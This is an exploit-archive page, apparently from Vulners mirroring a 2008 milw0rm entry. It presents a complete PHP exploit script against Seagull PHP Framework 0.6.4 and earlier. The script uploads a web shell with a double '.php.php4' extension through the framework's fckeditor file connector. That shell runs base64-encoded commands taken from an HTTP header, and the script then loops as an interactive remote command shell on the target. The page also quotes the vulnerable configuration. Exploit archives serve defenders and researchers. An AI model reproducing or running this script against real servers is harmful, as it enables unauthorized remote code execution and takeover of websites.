Lucene search
K

Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by EgiX. Vulnerable code in /www/tinyfck/filemanager/connectors/php/config.php allows arbitrary file upload. Needs specific server configuration (e.g. Apache with mod_mime)

Code

                                                &#60;?php

/*
	------------------------------------------------------------------------
	Seagull PHP Framework &#60;= 0.6.4 (fckeditor) Arbitrary File Upload Exploit
	------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://seagullproject.org/
	details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)

	[-] vulnerable code in /www/tinyfck/filemanager/connectors/php/config.php
	
	33.	// SECURITY: You must explicitelly enable this &#34;connector&#34;. (Set it to &#34;true&#34;).
	34.	$Config[&#39;Enabled&#39;] = true ;
	35.	
	36.	// Path to user files relative to the document root.
	37.	$Config[&#39;UserFilesPath&#39;] = SGL_BASE_URL . &#39;/images/&#39; ;
	38.	
	39.	// Fill the following value it you prefer to specify the absolute path for the
	40.	// user files directory. Usefull if you are using a virtual directory, symbolic
	41.	// link or alias. Examples: &#39;C:\\MySite\\UserFiles\\&#39; or &#39;/root/mysite/UserFiles/&#39;.
	42.	// Attention: The above &#39;UserFilesPath&#39; must point to the same directory.
	43.	$Config[&#39;UserFilesAbsolutePath&#39;] = SGL_WEB_ROOT.&#39;/images/&#39;;
	44.	
	45.	$Config[&#39;AllowedExtensions&#39;][&#39;File&#39;]    = array() ;
	46.	$Config[&#39;DeniedExtensions&#39;][&#39;File&#39;]     = array(&#39;php&#39;,&#39;php3&#39;,&#39;php5&#39;,&#39;phtml&#39;,&#39;asp&#39;,&#39;aspx&#39;,&#39;ascx&#39;,&#39;jsp&#39;,&#39;cfm&#39;, [...]
	47.	
	48.	$Config[&#39;AllowedExtensions&#39;][&#39;Image&#39;]   = array(&#39;jpg&#39;,&#39;gif&#39;,&#39;jpeg&#39;,&#39;png&#39;) ;
	49.	$Config[&#39;DeniedExtensions&#39;][&#39;Image&#39;]    = array() ;
	50.	
	51.	$Config[&#39;AllowedExtensions&#39;][&#39;Flash&#39;]   = array(&#39;swf&#39;,&#39;fla&#39;) ;
	52.	$Config[&#39;DeniedExtensions&#39;][&#39;Flash&#39;]    = array() ;
	53.	
	54.	$Config[&#39;AllowedExtensions&#39;][&#39;Media&#39;]   = array(&#39;swf&#39;,&#39;fla&#39;,&#39;jpg&#39;,&#39;gif&#39;,&#39;jpeg&#39;,&#39;png&#39;,&#39;avi&#39;,&#39;mpg&#39;,&#39;mpeg&#39;) ;
	55.	$Config[&#39;DeniedExtensions&#39;][&#39;Media&#39;]    = array() ;
	
	with a default configuration of this script, an attacker might be able to upload arbitrary
	files containing malicious PHP code due to multiple file extensions isn&#39;t properly checked
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print &#34;\n+--------------------------------------------------------------------+&#34;;
print &#34;\n| Seagull &#60;= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |&#34;;
print &#34;\n+--------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /&#34;;
	print &#34;\nExample....: php $argv[0] localhost /seagull/\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

$filename  = md5(time()).&#34;.php.php4&#34;;
$connector = &#34;tinyfck/filemanager/connectors/php/connector.php&#34;;

$payload  = &#34;--o0oOo0o\r\n&#34;;
$payload .= &#34;Content-Disposition: form-data; name=\&#34;NewFile\&#34;; filename=\&#34;{$filename}\&#34;\r\n\r\n&#34;;
$payload .= &#34;&#60;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?&#62;\r\n&#34;;
$payload .= &#34;--o0oOo0o--\r\n&#34;;

$packet  = &#34;POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: multipart/form-data; boundary=o0oOo0o\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;
$packet .= $payload;

preg_match(&#34;/OnUploadCompleted\((.*),\&#34;(.*)\&#34;\)/i&#34;, http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die(&#34;\n[-] Upload failed! (Error {$html[1]})\n&#34;);

while(1)
{
	print &#34;\nseagull-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$packet = &#34;GET {$path}images/File/{$html[2]} HTTP/1.0\r\n&#34;;
		$packet.= &#34;Host: {$host}\r\n&#34;;
		$packet.= &#34;Cmd: &#34;.base64_encode($cmd).&#34;\r\n&#34;;
		$packet.= &#34;Connection: close\r\n\r\n&#34;;
		$output = http_send($host, $packet);
		if (!preg_match(&#34;/_code_/&#34;, $output)) die(&#34;\n[-] Exploit failed...\n&#34;);
		$shell  = explode(&#34;_code_&#34;, $output);
		print &#34;\n{$shell[1]}&#34;;
	}
	else break;
}

?&#62;

# milw0rm.com [2008-06-26]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation